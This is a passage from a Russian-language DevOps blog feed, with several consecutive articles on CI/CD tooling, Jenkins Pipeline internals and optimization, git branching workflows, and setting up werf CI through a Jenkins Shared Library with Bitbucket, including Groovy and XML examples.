"Клуб любителей пощекотать GitOps".

werf.io

Было выше.

kubectl / kustomize

Для тех, кто любит сам придумывать шаблонизацию.

etc

На правах рекламы скажу что helmwav'у очень не хватает ваших звезд на GitHub. Первая публикация про helmwave.

Integration testing

Приложение задеплоили. Оно где-то живет в отдельном контуре.Наступает этап интеграционного тестирования. Тестирование может быть как ручным, так и автоматизированным. Автоматизированные тесты можно встроить в пайплайн.

Инструменты

Инструмент

Особенности

Selenium

Можно запустить в кубере.

Selenoid

Беды с образами. Требует Docker-in-Docker.

etc

Performance testing (load/stress testing)

Данный вид тестирования имеет смысл проводить на stage/pre-production окружениях. С тем условием, что ресурсные мощности на нем такие же, как в production.

Инструменты, чтобы дать нагрузку

Инструмент

Особенности

wrk

Отличный молоток. Но не пытайтесь прибить им все подряд.

k6.io

Cтильно-модно-JavaScript! Используется в AutoDevOps.

Artillery.io

Снова JS. Сравнение с k6

jmeter

OldSchool.

yandex-tank

Перестаньте дудосить конурентов.

etc

Инструменты, чтобы оценить работу сервиса

Инструмент

Особенности

sitespeed.io

Внутри: coach, browserTime, compare, PageXray.

Lighthouse

Тулза от Google. Красиво, можешь показать это своему менеджеру. Он будет в восторге. Жаль, только собаки не пляшут.

etc

Code Review / Approved

Одним из важнейших этапов являются Merge Request. Именно в них могут производиться отдельные действия в pipeline перед слиянием, а также назначаться группы лиц, требующих одобрения перед cлиянием.

Список команд/ролей:

  • QA;

  • Security;

  • Tech leads;

  • Release managers;

  • Maintainers;

  • DevOps;

  • etc.

Очевидно, что созывать весь консилиум перед каждым MR не нужно, каждая команда должна появится в свой определённый момент MR:

  • вызывать безопасников имеет смысл только перед сливанием в production;

  • QA перед release ветками;

  • DevOps'ов беспокоить, только если затрагиваются их компетенции: изменения в helm-charts / pipeline / конфигурации сервера / etc.

Developing flow

Чаще всего каждая компания, а то и каждый проект в компании, решает изобрести свой велосипед-флоу. Что после нескольких итераций приходит к чему-то, что может напоминать gitflow, gitlabFlow, githubFlow или все сразу.

Это и не хорошо, и не плохо это специфика проекта. Есть мнения, что gitflow не торт. GithubFlow для относительно маленьких команд. А про gitlabFlow мне нечего добавить, но есть наблюдение, что его не очень любят продакты - за то, что нельзя отслеживать feature-ветки.

Если вкратце, то:

  • Gitflow: feature -> develop -> release-vX.X.X -> master (aka main) -> tag;

  • GitHubFlow: branch -> master (aka main);

  • GitLabFlow: environmental branches.

TL;DR

Общий концепт

_

Feature-ветка

Pre-Production -> Production

P.S.

Если я где-то опечатался, упустил важную деталь или, по вашему мнению, пайплайн недостаточно идеальный, напишите об этом мне сделаю update.

Разработчик создал ветку и запушил в нее код. Что дальше?

Оставляйте варианты ваших сценариев в комментариях.

Подробнее..

Jenkins Pipeline заметки об оптимизации. Часть 1

28.09.2020 16:10:09 | Автор: admin


Меня зовут Илья Гуляев, я занимаюсь автоматизацией тестирования в команде Post Deployment Verification в компании DINS.

В DINS мы используем Jenkins во многих процессах: от сборки билдов до запуска деплоев и автотестов. В моей команде мы используем Jenkins в качестве платформы для единообразного запуска смоук-проверок после деплоя каждого нашего сервисов от девелоперских окружений до продакшена.

Год назад другие команды решили использовать наши пайплайны для проверки тестового окружения, состоящего из сотен различных сервисов, нового обновленного сервиса и состояния всего окружения перед запуском больших пачек тестов. Нагрузка на платформу возросла в десятки раз, и Jenkins перестал справляться с поставленной задачей и стал просто падать. Мы быстро поняли, что добавление ресурсов и тюнинг сборщика мусора могут лишь отсрочить проблему, но не решат ее полностью. Поэтому мы решили найти узкие места Jenkins и оптимизировать их.

В этой статье я расскажу, как работает Jenkins Pipeline, и поделюсь своими находками, которые, возможно, помогут вам сделать пайплайны быстрее. Материал будет полезен инженерам, кто уже работал с Jenkins, но хочет познакомиться с инструментом ближе.


Что за зверь Jenkins Pipeline


Jenkins Pipeline мощный инструмент, который позволяет автоматизировать различные процессы. Jenkins представляет собой набор плагинов, которые позволяют описывать действия в виде Groovy DSL, и является приемником плагина Build Flow.

Скрипт для плагина Build Flow исполнялся напрямую на мастере в отдельном Java-потоке, который выполнял Groovy-код без барьеров, препятствующих доступу к внутреннему API Jenkins. Данный подход представлял угрозу безопасности, что впоследствии стало одной из причин отказа от Build Flow, но послужило предпосылкой для создания безопасного и масштабируемого инструмента для запуска скриптов Jenkins Pipeline.

Подробнее об истории создания Jenkins Pipeline можно узнать из статьи автора Build Flow или доклада Олега Ненашева о Groovy DSL в Jenkins.

Как работает Jenkins Pipeline


Теперь разберемся, как работают пайплайны изнутри. Обычно говорят, что Jenkins Pipeline совершенно другой вид заданий в Jenkins, непохожий на старые добрые freestyle-джобы, которые можно накликать в веб-интерфейсе. С точки зрения пользователя это, может, и выглядит так, но со стороны Jenkins пайплайны набор плагинов, которые позволяют перенести описание действий в код.

Сходства Pipeline и Freestyle джобы


  • Описание джобы (не шагов) хранится в файле config.xml
  • Параметры хранятся в config.xml
  • Триггеры тоже хранятся в config.xml
  • И даже некоторые опции хранятся в config.xml

Так. Стоп. В официальной документации сказано, что параметры, триггеры и опции можно задавать непосредственно в Pipeline. Где же правда?

Правда в том, что параметры, описанные в Pipeline, автоматически добавятся в раздел настройки в веб-интерфейсе при запуске джобы. Верить мне можно потому, что этот функционал в последней редакции писал я, но об этом подробнее во второй части статьи.

Отличия Pipeline и Freestyle джобы


  • На момент старта джобы Jenkins ничего не знает про агента для выполнения джобы
  • Действия описываются в одном groovy-скрипте


Запуск Jenkins Declarative Pipeline



Процесс запуска Jenkins Pipeline состоит из следующих шагов:
  1. Загрузка описания задания из файла config.xml
  2. Старт отдельного потока (легковесного исполнителя) для выполнения задания
  3. Загрузка скрипта пайплайна
  4. Построение и проверка синтаксического дерева
  5. Обновления конфигурации задания
  6. Объединение параметров и свойств заданных в описании задания и в скрипте
  7. Сохранение описания задания в файловую систему
  8. Выполнение скрипта в groovy-песочнице
  9. Запрос агента для всего задания или отдельного шага




При старте pipeline-джобы Jenkins создает отдельный поток и направляет задание в очередь на выполнение, а после загрузки скрипта определяет, какой агент нужен для выполнения задачи.

Для поддержки данного подхода используется специальный пул потоков Jenkins (легковесных исполнителей). Можно заметить, что они выполняются на мастере, но не затрагивают обычный пул исполнителей:


Количество потоков в данном пуле не ограничено (на момент написания статьи).

Работа параметров в Pipeline. А также триггеров и некоторых опций



Обработку параметров можно описать формулой:



Из параметров джобы, которые мы видим при запуске, сначала удаляются параметры Pipeline из предыдущего запуска, а уже потом добавляются параметры заданные в Pipeline текущего запуска. Это позволяет удалить параметры из джобы, если они были удалены из Pipeline.

Как это работет изнутри?
Рассморим пример config.xml (файл, в котором хранится конфигурация джобы):
<?xml version='1.1' encoding='UTF-8'?><flow-definition plugin="workflow-job@2.35">  <actions>    <org.jenkinsci.plugins.pipeline.modeldefinition.actions.DeclarativeJobAction plugin="pipeline-model-definition@1.5.0"/>    <org.jenkinsci.plugins.pipeline.modeldefinition.actions.DeclarativeJobPropertyTrackerAction plugin="pipeline-model-definition@1.5.0">      <jobProperties>        <string>jenkins.model.BuildDiscarderProperty</string>      </jobProperties>      <triggers/>      <parameters>        <string>parameter_3</string>      </parameters>    </org.jenkinsci.plugins.pipeline.modeldefinition.actions.DeclarativeJobPropertyTrackerAction>  </actions>  <description></description>  <keepDependencies>false</keepDependencies>  <properties>    <hudson.model.ParametersDefinitionProperty>      <parameterDefinitions>        <hudson.model.StringParameterDefinition>          <name>parameter_1</name>          <description></description>          <defaultValue></defaultValue>          <trim>false</trim>        </hudson.model.StringParameterDefinition>        <hudson.model.StringParameterDefinition>          <name>parameter_2</name>          <description></description>          <defaultValue></defaultValue>          <trim>false</trim>        </hudson.model.StringParameterDefinition>        <hudson.model.StringParameterDefinition>          <name>parameter_3</name>          <description></description>          <defaultValue></defaultValue>          <trim>false</trim>        </hudson.model.StringParameterDefinition>      </parameterDefinitions>    </hudson.model.ParametersDefinitionProperty>    <jenkins.model.BuildDiscarderProperty>      <strategy class="org.jenkinsci.plugins.BuildRotator.BuildRotator" plugin="buildrotator@1.2">        <daysToKeep>30</daysToKeep>        <numToKeep>10000</numToKeep>        <artifactsDaysToKeep>-1</artifactsDaysToKeep>        <artifactsNumToKeep>-1</artifactsNumToKeep>      </strategy>    </jenkins.model.BuildDiscarderProperty>    <com.sonyericsson.rebuild.RebuildSettings plugin="rebuild@1.28">      <autoRebuild>false</autoRebuild>      <rebuildDisabled>false</rebuildDisabled>    </com.sonyericsson.rebuild.RebuildSettings>  </properties>  <definition class="org.jenkinsci.plugins.workflow.cps.CpsScmFlowDefinition" plugin="workflow-cps@2.80">    <scm class="hudson.plugins.filesystem_scm.FSSCM" plugin="filesystem_scm@2.1">      <path>/path/to/jenkinsfile/</path>      <clearWorkspace>true</clearWorkspace>    </scm>    <scriptPath>Jenkinsfile</scriptPath>    <lightweight>true</lightweight>  </definition>  <triggers/>  <disabled>false</disabled></flow-definition>


В секции properties находятся параметры, триггеры и опции, с которыми будет запускаться джоба. Дополнительная секция DeclarativeJobPropertyTrackerAction служит для хранения параметров, заданных только в пайплайне.

При удалении параметра из пайплайна, он будет удлён как из DeclarativeJobPropertyTrackerAction так и из properties, так как Jenkins будет знать, что параметр был определён только в пайплайне.

При добавлении параметра ситуация обратная, параметр добавится DeclarativeJobPropertyTrackerAction и properties, но только в момент исполнения пайплайна.

Именно поэтому если задать параметры только в пайплайне, то они будут недоступны при первом запуске.

Выполнение Jenkins Pipeline


Когда Pipeline-скрипт загружен и скомпилирован, начинается процесс выполнения. Но этот процесс состоит не только из выполнения groovy. Я выделил основные тяжеловесные операции, которые выполняются в момент исполнения джобы:

Выполнение Groovy-кода
Скрипт пайплайна всегда выполняется на мастере об этом нельзя забывать, чтобы не создавать лишнюю нагрузку на Jenkins. На агенте исполняются только шаги, которые взаимодействуют с файловой системой агента или системными вызовами.



В пайплайнах есть замечательный плагин, который позволяет делать HTTP запросы. В добавок ответ можно сохранять в файл.

httpRequest  url: 'http://localhost:8080/jenkins/api/json?pretty=true', outputFile: 'result.json'


Изначально может показаться, что данный код должен полностью выполняться на агенте, послать с агента запрос, а ответ сохранить в файл result.json. Но всё происходит наоборот, и запрос выполняется с самого дженкинса, а для сохранения содержимое файла копируется на агент. Если дополнительная обработка ответа в пайплайне не требуется, то советую заменять такие запросы на curl:

sh  'curl "http://localhost:8080/jenkins/api/json?pretty=true" -o "result.json"'


Работа с логами и артефактами
Независимо от того, на каком агенте выполняются команды, логи и артефакты обрабатываются и сохраняются на файловую систему мастера в режиме реального времени.

Если в пайплайне используются секреты (credentials), то перед сохранением логи дополнительно фильтруются на мастере.



Сохранение шагов (Pipeline Durability)
Jenkins Pipeline позиционирует себя как задача, которая стоит из отдельных кусочков, которые независимы и могут быть воспроизведены при падении мастера. Но за это приходится платить дополнительными записями на диск, потому что в зависимости от настроек задачи шаги с различной степенью детализации сериализуются и сохраняются на диск.



В зависимости от параметра живучести (pipeline durability) шаги графа пайплайна будут храниться в одном или нескольких файлах для каждого запуска джобы. Выдержка из документации:

В плагине workflow-support для хранения степов (FlowNode) используется класс FlowNodeStorage и его реализации SimpleXStreamFlowNodeStorage и BulkFlowNodeStorage.
  • FlowNodeStorage использует кэширование в памяти для объединения операций записи на диск. Буфер автоматически записывается во время выполнения. Как правило, вам не нужно беспокоиться об этом, но имейте в виду, что сохранение FlowNode не гарантирует, что он будет немедленно записан на диске.
  • SimpleXStreamFlowNodeStorage использует по одному небольшому XML-файлу для каждого FlowNode хотя мы используем кеш с soft-reference в памяти для узлов, это приводит к гораздо худшей производительности при первом прохождении через степы (FlowNodes).
  • BulkFlowNodeStorage использует один XML-файл большего размера со всеми FlowNodes в нем. Этот класс используется в режиме живучести PERFORMANCE_OPTIMIZED, который записывает гораздо реже. Как правило, это намного эффективнее, потому что одна большая потоковая запись выполняется быстрее, чем группа небольших записей, и сводит к минимуму нагрузку на ОС для управления всеми крошечными файлами.


Оригинал
Storage: in the workflow-support plugin, see the 'FlowNodeStorage' class and the SimpleXStreamFlowNodeStorage and BulkFlowNodeStorage implementations.
  • FlowNodeStorage uses in-memory caching to consolidate disk writes. Automatic flushing is implemented at execution time. Generally, you won't need to worry about this, but be aware that saving a FlowNode does not guarantee it is immediately persisted to disk.
  • The SimpleXStreamFlowNodeStorage uses a single small XML file for every FlowNode although we use a soft-reference in-memory cache for the nodes, this generates much worse performance the first time we iterate through the FlowNodes (or when)
  • The BulkFlowNodeStorage uses a single larger XML file with all the FlowNodes in it. This is used in the PERFORMANCE_OPTIMIZED durability mode, which writes much less often. It is generally much more efficient because a single large streaming write is faster than a bunch of small writes, and it minimizes the system load of managing all the tiny files.




Сохранённые шаги можно найти в директории:
$JENKINS_HOME/jobs/$JOB_NAME/builds/$BUILD_ID/workflow/


Пример файла:
<?xml version='1.1' encoding='UTF-8'?><Tag plugin="workflow-support@3.5">  <node class="cps.n.StepStartNode" plugin="workflow-cps@2.82">    <parentIds>      <string>4</string>    </parentIds>    <id>5</id>    <descriptorId>org.jenkinsci.plugins.workflow.support.steps.StageStep</descriptorId>  </node>  <actions>    <s.a.LogStorageAction/>    <cps.a.ArgumentsActionImpl plugin="workflow-cps@2.82">      <arguments>        <entry>          <string>name</string>          <string>Declarative: Checkout SCM</string>        </entry>      </arguments>      <isUnmodifiedBySanitization>true</isUnmodifiedBySanitization>    </cps.a.ArgumentsActionImpl>    <wf.a.TimingAction plugin="workflow-api@2.40">      <startTime>1600855071994</startTime>    </wf.a.TimingAction>  </actions></Tag>


Итоги


Надеюсь, данный материал был интересен и помог лучше понять, что из себя представляют пайплайны и как они работают изнутри. Если у вас остались вопросы делитесь ими ниже, буду рад ответить!

Во второй части статьи я рассмотрю отдельные кейсы, которые помогут найти проблемы с Jenkins Pipeline и ускорить ваши задачки. Узнаем, как решать проблемы параллельного запуска, рассмотрим параметры живучести и обсудим, зачем профилировать Jenkins.
Подробнее..

Вначале былworkflow

08.12.2020 14:22:23 | Автор: admin

Добрый день! Меня зовут Кирилл,и яDevOps-инженер.За свою карьеру мне нераз приходилось внедрятьDevOps-практики как всуществующие,так и в новые команды, поэтому хочу поделиться своим опытом и мыслями по поводу стратегий ветвления. Существует множество различных типов рабочихпроцессов,и чтобы разобраться что к чему, предлагаю рассмотреть пример создания новогопрограммногопродукта.

Часть 1: Рабочий процесс

Мы в начале пути. Создали репозиторий и начали писать код, неспешно, коммит за коммитом, публикуя изменения в мастер. Появляется первый прототип приложения, появляются тесты, проходит сборка,и вот настал момент развёртки приложения с целью предоставить свой продукт пользователям.

А далее как обычно бывает: всплывают первые запросы от пользователей на добавление новых фич/устранение багов ит.д., разработка кипит. Для того чтобы ускорить выход новых версий, принимается решение расширить командуDevOpsом, и для решения насущных проблемDevOpsпредлагает построитьCI/CD-конвейер (pipeline). И вот пришло время рассмотреть, как жеCI/CD-конвейерляжет на нашрабочий процесс,где у нас сейчас только мастер.

Для примера мы взяли простойконвейерс одним окружением. И вроде всёвыглядит хорошо: разработчик запушил код в мастер, запустилсяконвейер, код прошёл ряд проверок, собрался и развернулся в окружении.

А теперь рассмотрим ситуацию, когдаконвейерпрервался на тестах.

То есть тесты показали, что в текущей версии мастера есть ошибки. Нам на руку, что в нашем примереконвейерпрервался, и на окружении до сих пор работающее приложение, и пользователь остаётся довольным. А вот что начинается в команде разработки:

На данной картинке (которая может показаться слишком преувеличенным примером, однако такое бывает), мы видим,что в первом коммите, который ранее попал на окружение,каких-либо проблем нет.На втором коммите в мастерконвейерпрервался.И вот тут начинается самое интересное. Понятно, что запушенный код нерабочий и надо его исправлять, чем и занялся разработчик. Но что,еслиу нас не один разработчик, а команда, где каждый усердно трудится над своей задачей? Второй разработчик ответственно начал добавлять новые улучшения в продукт, но в их основе лежит второй коммит. Что же будет дальше с этими изменениями? Сколько времени уйдёт у первого разработчика на исправление? Насколько сильными будут изменения в новом коммите? Что в это время делать второму разработчику? Что делать с уже написанными вторым разработчикомфичами? В общем, слишком много вопросов, а на выходе получаем:

  • уменьшение производительности,

  • впустую потраченное время,

  • много головной боли.

Для решения насущных проблемможноприбегнуть к изменениюрабочего процесса.

Первым делом добавимнебезызвестныеfeature-ветки.

В отдельныхfeature-ветках каждый разработчик может без стресса заниматься своей задачей. При этом мы блокируем коммиты напрямую в мастер (или договариваемся так не делать),и впоследствии все новые фичи добавляютсяв мастерчерез mergerequest.

И в очередной разпроиграемпроблему: вfeature-ветке обнаружен баг.

При такомрабочем процессе, если находится какая-либо неполадка,разработчик спокойно занимается исправлением, не влияя на работу остальной команды,и в мастере находится рабочий код, а следовательно, и окружение остаётся рабочим.

Но что,еслина окружение попал новый мастер,и спустя какое-то время обнаружен баг (не углядели, всякое бывает).

Соответственно, это уже критическая ситуация: клиент не доволен, бизнес не доволен. Нужно срочно исправлять! Логичным решением будет откатиться. Но куда? Заэтовремя мастер продолжал пополняться новыми коммитами. Даже если быстро найти коммит,в котором допущена ошибка,и откатить состояние мастера, то что делать с новыми фичами, которые попали в мастер после злосчастного коммита? Опять появляется много вопросов.

Что ж, давайте не будем поддаваться панике,и попробуем ещёраз изменить нашрабочий процесс,добавив теги.

Теперь,когда мастерпополняетсяизменениями изfeature-веток, мы будем помечать определённое состояниемастера тегом.

Но вот в очередной раз пропущен баг в тегеv2.0.0, который уже на окружении.

Как решить проблему теперь?

Правильно, мы можем повторно развернуть версиюv1.0.0, считая её заведомо рабочей.

И таким образом, наше окружение снова рабочее. А мы,в свою очередь,ничего не делая,получилиследующее:

  • сэкономили время и,как следствие,деньги,

  • восстановили работоспособность окружения,

  • предотвратили хаос,

  • локализовали проблему в версииv2.0.0.

Мырассмотрели, как с помощью элементарного изменениярабочего процессаможнорешить какие-то проблемы,и теперь хочется спросить, что это зарабочий процесс?Ну,однозначно здесь ответить нельзя.

Для примера возьмём и рассмотримдавновсем известныйGitFlow:

Сравним его с нашим последним примером иувидим,что у нас нетdevelop-ветки, а ещёмы не использовалиhotfixes-ветки. Следовательно,мы не можем сказать, что использовали именноGitFlow. Однако мы немного изменим наш пример, добавивdevelop-иrelease-ветки.

И теперьвкаком-топриближениинаш пример стал похожим наGitFlow.Однакочто мы получили в этом случае? Какие проблемы нам удалось решить и как нам удалось улучшить нашу жизнь? По моему мнению,добив нашрабочий процессдоGitFlow, который многие используюткакэталонную модель,мы всего-навсего усложнили себе жизнь. И здесь я не хочу сказать, чтоGitFlowплохой, просто в наших простых примерах он определённо излишний.

Что ж, наGitFlowжизнь не заканчивается, ведь есть не менее известныйGitHubFlow.

И первое,что мы можем заметить, так это то, что он выглядит в разы проще,чемGitFlow. И если сравнить с нашим примером, то мы можем заметить, что здесь не используются теги. Но, как мы можем вспомнить,мы ведьдобавляли их не просто так, а с целью решить определённые проблемы, поэтому и здесь мы не можем сказать, что мы использовали конкретноGitHubFlow.

Собственно, сравнив нашрабочий процессиз примера сGitFlowиGitHubFlow,хотелось бы подчеркнуть следующее: безусловно,существование паттернов для построения рабочих процессовэто огромный плюс, так как мы можем взять существующий паттерн и начать работать по нему,и в определённых случаях какой-либо определённый паттерн идеально впишется в процесс разработки. Однако это работаетив другую сторону:какой-либо существующий паттернможетвставитьнам палки в колесаи усложнить процесс разработки.

Поэтому не стоит забывать, чтоGitи его рабочие процессыэто лишьинструменты, а инструменты,в свою очередь,призваны облегчить жизнь человека, и иногда стоит посмотреть на проблему под другим углом для еёрешения.

Часть 2: Участь DevOps'а

В первой части мы рассмотрели, как выглядитрабочий процесс, а теперь посмотрим, почему для DevOps-инженератак важен корректно настроенный рабочий процесс.Для этого вернёмся к последнему примеру,аименно к построению того самогоконвейерадля реализации процесса CI/CD.

Так какконвейерможет быть реализован различными инструментами, мы сфокусируемся конкретно на том, почемурабочий процессважен дляDevOps.

Собственно, построениеконвейераможно изобразить вот такой простой картинкой:

Ну или одним вопросом: как связать между собой код в репозитории и окружение?

Следовательно, нужно понимать,какой именно код должен попасть в окружение, а какой нет. К примеру, еслив ответна вопрос: Какойрабочий процессиспользуется? мы услышим: GitHubFlow, то автоматически мы будем искать нужный код вmaster-ветке. И ровно наоборот, если не построен никакойрабочий процесси куски рабочего кода разбросаны по всему репозиторию, то сначала нужно разобраться срабочим процессом, а лишь потом начинать строитьконвейер.Иначе рано или поздно на окружение попадёт то, что возможно не должно там быть, и как следствие,пользователь останется без сервиса/услуги.

Самконвейерможет состоять из множества шагов, в том числе у нас может быть несколько окружений.

Нодля наглядностидалее рассмотрим два основных этапа вCI/CD- конвейерах: build и deployment/delivery. И начнем мы,пожалуй,с первогоbuild.

Buildпроцесс, конечным результатом которого является артефакт.

Дляпростотывведём следующее условие:артефакты должныверсионироватьсяи храниться в каком-либо хранилище для последующего извлечения. Что ж, если у нас нетрабочего процесса, то первый (возможно,глупый,но важный)вопроскак мы будем именовать артефакты при хранении. Опять же, вернёмся к нашему примеру срабочим процессом, где мы использовали теги.

Так вот, у нас есть отличная возможность взять имя тега для артефакта и опубликовать его. Но что,если у нас нет никакогорабочего процесса?Что ж, тут уже сложнее. Конечно, мы можем взятьхешкоммита,или дату, или придумать что-либо ещёдля идентификации артефакта.Но очень скороразобраться в этом будет практически невозможно.

И вот пример из реальной жизни.

Представьте ситуацию, когда вы хотите загрузить новую версиюUbuntu, и вместо такого списка версий:

...увас будет списокхешейкоммитов. Следовательно, это может бытьнеудобноне только для команды, но и для пользователя.

Бываютслучаи, когда мы можем пренебречь именованием. Поэтому рассмотрим ещёодин небольшой пример:у нас нет конкретногорабочего процесса;как следствие,у нас нет понимания,что именно мы должны хранить в нашем хранилище. Что,в свою очередь,может бытьчреватопоследствиями, так как хранилище так или иначе ограничено: либо деньгами, либо местом, либо и тем,и другим. Поэтому в ситуации, когда у нас нет конкретногорабочего процесса,мы можем начать публиковать артефакт из каждойfeature-ветки (так как чёткой определённости у нас нет), но в таком случае рано или поздно возникнет ситуация, когда ресурсы закончатся, и придётся расширяться, что опять же несёт за собой трату как человеческих, так и денежных ресурсов.

Конечно,на этом примеры не заканчиваются, но думаю,чтотеперь мы можем перейти к delivery/deployment.

Deliveryпроцесс,в рамках которого развёртка приложения на окружении происходит вручную.

Deploymentпроцесс,в рамках которого развёртка приложения происходит автоматически.

В случае сDeliveryмы можем автоматизировать процесс развёртки в окружение и запускать еговручную.Однако если не будет выстроенрабочий процесс, то тогдамы вернёмся к той ситуации, которая возникала в наших примерах срабочим процессомранее, когда в коммите обнаруживался баг.

Если же говорить оdeployment, абсолютно неправильно реализовыватьcontinuousdeploymentв случае, когда у нас не выстроенрабочий процесс.Потому чтонесложнопредставить, что будет,если изменения в коде каждый раз будут автоматически попадать на окружение.

Следовательно, и здесь нам крайне важно наличиерабочего процесса, по крайне мере в том случае, когда преследуется цель сделать хорошо.

Сейчас мы рассмотрели лишь две основных стадии при построенииконвейера, но однозначно можно сказать, что беспорядок врабочем процессебудет влиять на каждый этап реализации процессовCI/CD. И под беспорядком имеется в виду не только отсутствиерабочего процесса, но и его избыточность.

Заключение

В конце хотелось бы добавить, чтоосновная мысль,которую мне хотелось донести этой статьёй, это то,что есть книги, теория и так далее, а есть здравый смысл. Конечно,есть множество различных практик и примеров, которые успешно работают в том или ином продукте, но это не значит, чтоэти практики сработают в вашей команде.Поэтому если вас мучает вопрос:Почему у нас это не работает?илиЧтонам нужно сделать,чтоб у нас это заработало?,то попробуйте задатьсявопросом:А надо ли оно нам?

Подробнее..

Настраиваем Continuous Integration для Jenkins и Bitbucket с werf

18.12.2020 12:07:33 | Автор: admin


Утилита werf создана так, чтобы её было легко интегрировать с любыми CI/CD-системами. Подробнее об этом процессе в общем случае читайте в эпилоге этой статьи, но основное её содержимое практический пример по организации CI в Jenkins и Bitbucket.

Подразумевается, что в результате наших действий мы ожидаем получить следующее:

  1. Shared Library для Jenkins, чтобы все сценарии CI хранились в одном месте и их можно было править единым коммитом.
  2. Интеграцию Jenkins с Bitbucket, чтобы запускать CI по коммиту в определенные ветки или по созданию тега.

Поехали!

Конфигурация Jenkins


Для реализации задуманного в статье будут задействованы:


В Jenkins для проектов используется multibranch pipeline.

Начнем с того, что подключим к Jenkins репозиторий, в котором будет храниться наша Shared Library. Shared Library это единая библиотека, что может содержать в себе код для исполнения CI и хранится отдельно в своем собственном репозитории. Это значительно упрощает процесс модернизации и работы над CI (вместо использования для хранения CI стандартного Jenkinsfile, который нужно подкладывать в каждый проект).

Итак, подключаем: Manage Jenkins Configure System Global Pipeline Libraries.



Нужно указать имя, ветвь репозитория, из которой Jenkins будет забирать код библиотеки, а в Source Code Management указать адрес и доступ до репозитория (в нашем случае SSH-ключ для доступа ReadOnly).

Структура Shared Library


Теперь приступим к описанию самой библиотеки. Структура очень проста и состоит всего из трёх директорий:



  • vars директория для глобальных методов библиотеки, что будут вызываться из пайплайна;
  • src тоже директория для скриптов, но в основном используется для вашего кастомного кода;
  • resources всё, что не является скриптом и может понадобиться в исполнении.

Для наших целей в Jenkins будет достаточно только нескольких методов в директории vars, потому как мы настроим сам werf, что и сделает всю основную работу.

К тому же, хотелось бы, чтобы весь пайплайн был полностью описан внутри библиотеки, а в Jenkinsfile мы передавали только некоторые параметры деплоя, которые в 99,9% случаев вообще не будут меняться.

Реализуем методы


Итак, реализуем 2 метода.

Для вызова утилиты werf -runWerf.groovy.

#!/usr/bin/env groovydef call(String dockerCreds, String werfargs){  // логин в registry  // первый аргумент - url (пуст, т.к. используем DockerHub)  // второй - имя Jenkins-секрета, где лежат доступы (login, password)  docker.withRegistry("", "${dockerCreds}") {    sh """#!/bin/bash -el          set -o pipefail          type multiwerf && source <(multiwerf use 1.1 stable --as-file)          werf version          werf ${werfargs}""".trim()    }}

Все параметры в библиотеку для пайплайна передаются как Map, что удобно:

#!/usr/bin/env groovydef call( Map parameters = [:] ) { // функция принимает в качестве аргумента Map с параметрами  def namespace = parameters.namespace // имя неймспейса для выката  // имя ключа по умолчанию для расшифровки секретов (если не указан в параметрах)  def werf_secret_key = parameters.werfCreds != null ? parameters.werfCreds : "werf-secret-key-default"  // имя секрета по умолчанию для логина в docker registry  def dockerCreds = parameters.dockerCreds != null ? parameters.dockerCreds : "docker-credentials-default"  // получаем имя проекта из имени multibranch pipeline  def PROJ_NAME = "${env.JOB_NAME}".split('/').first()  // имя registry в docker hub или адрес до кастомного registry  def imagesRepo = parameters.imagesRepo != null ? parameters.imagesRepo : "myrepo"  if( namespace == null ) { // единственный обязательный аргумент и проверка на его наличие    currentBuild.result = 'FAILED'    return  }  pipeline {    agent { label 'werf' }    options { disableConcurrentBuilds() } // запрещаем параллельную сборку для пайплайна    environment { // переменные для работы werf      WERF_IMAGES_REPO="${imagesRepo}"             WERF_STAGES_STORAGE=":local"      WERF_TAG_BY_STAGES_SIGNATURE=true      WERF_ADD_ANNOTATION_PROJECT_GIT="project.werf.io/git=${GIT_URL}"      WERF_ADD_ANNOTATION_CI_COMMIT="ci.werf.io/commit=${GIT_COMMIT}"      WERF_LOG_COLOR_MODE="off"      WERF_LOG_PROJECT_DIR=1      WERF_ENABLE_PROCESS_EXTERMINATOR=1      WERF_LOG_TERMINAL_WIDTH=95      PATH="$PATH:$HOME/bin"      WERF_KUBECONFIG="$HOME/.kube/config"      WERF_SECRET_KEY = credentials("${werf_secret_key}")    }    triggers {      // Execute weekdays every four hours starting at minute 0      cron('H 21 * * *')     // для werf cleanup, что будет чистить registry и хост-раннер от устаревших кэшей и образов    }    stages {      stage('Checkout') {        steps {          checkout scm // получаем код из репозитория        }      }      stage('Build & Publish image') {        when {            not { triggeredBy 'TimerTrigger' } // чтобы stage не запускался по крону        }        steps {          script {            // запуск нашего метода из runWerf.groovy            runWerf("${dockerCreds}","build-and-publish")          }        }      }      stage('Deploy app') {        when {            not { triggeredBy 'TimerTrigger' }          }        environment {          // название окружения, куда осуществляется деплой (важно для шаблонизации Helm-чарта)          WERF_ENV="production"        }        steps {          runWerf("${dockerCreds}","deploy --stages-storage :local --images-repo ${imagesRepo}")        }      }      stage('Cleanup werf Images') {        when {          allOf {            triggeredBy 'TimerTrigger'            branch 'master'           }        }        steps {          sh "echo 'Cleaning up werf images'"            runWerf("${dockerCreds}","cleanup --stages-storage :local --images-repo ${imagesRepo}")        }      }    }  }}

Примечания:

  • Сборка и выкат происходят для любой ветки, указанной в секции discover у Jenkins. После наших манипуляций в следующей главе это будет происходить автоматически.
  • Все секреты, такие как werf-secret-key-default и docker-credential-default, хранятся в Jenkins Credentials:



Сам Jenkinsfile, что находится внутри репозитория с проектом, в большинстве случаев теперь выглядит так:

@Library('common-ci') _multiStage ([namespace: 'yournamespace'])

Имя метода это название файла в каталоге vars.

Если необходимо выкатывать на несколько окружений, можно добавить условие для определенных веток в самом начале, где идет определение пространства имен. И убрать проверку на наличие аргумента namespace в Map, а также само его определение по умолчанию.

Пример реализации:

def namespace = "test"def werf_env = "test"if (env.JOB_BASE_NAME == 'master') { namespace = "stage" werf_env = "stage"}if (env.TAG_NAME) { namespace = "production" werf_env = "production"}# и добавляем в environment стадииenvironment {  WERF_ENV="${werf_env}" }

Если вы хотите автоматический запуск stage со всех веток, а с тегов в production только при нажатии кнопки в Jenkins, то можно использовать такое условие: currentBuild.rawBuild.getCauses()[0].toString().contains('UserIdCause'). Оно позволяет отследить, сборка была запущена человеком или началась как событие от webhook'а.

Триггеры по коммитам из Bitbucket


По умолчанию Jenkins сам не умеет интегрироваться в Bitbucket. Для этого нужно установить уже упомянутые плагины:

  • Bitbucket Branch Source Plugin добавляет Bitbucket как source для multibranch pipeline;
  • Basic Branch Build Strategies Plugin позволит запуск тегов по webhook. По умолчанию Jenkins не позволяет любые автоматизированные действия с тегами, т.к. не понимает какой из тегов последний.

Если вы используете cloud-версию Bitbucket, то нужно только поставить разрешение на создание webhook'ов автоматически.

